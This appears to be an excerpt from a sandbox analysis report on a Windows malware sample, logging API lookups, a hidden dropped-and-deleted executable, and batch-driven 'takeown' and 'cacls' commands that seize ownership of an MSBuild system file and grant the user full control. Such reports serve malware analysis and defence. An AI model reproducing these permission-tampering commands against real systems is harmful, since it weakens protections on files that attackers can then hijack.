Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 1627-02-22 14:10:10 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 20030123574	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, type = file_type	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 225280	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 1168	1	Fn Data
Process	Create	process_name = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, os_pid = 0x106c, show_window = SW_HIDE	1	Fn
File	Delete	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe	1	Fn
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #29: cacls.exe

0

»

Information	Value
ID	#29
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:15, Reason: Child Process
Unmonitor	End Time: 00:02:16, Reason: Self Terminated
Monitor Duration	00:00:01
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x138c
Parent PID	0x1304 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1390 0x 1394

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #30: takeown.exe

0

»

Information	Value
ID	#30
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:16, Reason: Child Process
Unmonitor	End Time: 00:02:16, Reason: Self Terminated
Monitor Duration	00:00:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x13a0
Parent PID	0x1304 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13A4 0x 13A8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #31: cmd.exe

367

0

»

Information	Value
ID	#31
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\wab.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:17, Reason: Child Process
Unmonitor	End Time: 00:03:28, Reason: Self Terminated
Monitor Duration	00:01:10

OS Process Information

»

Information	Value
PID	0x13cc
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13D0 0x 13F0

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x13d0

367

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 59	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x4c8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
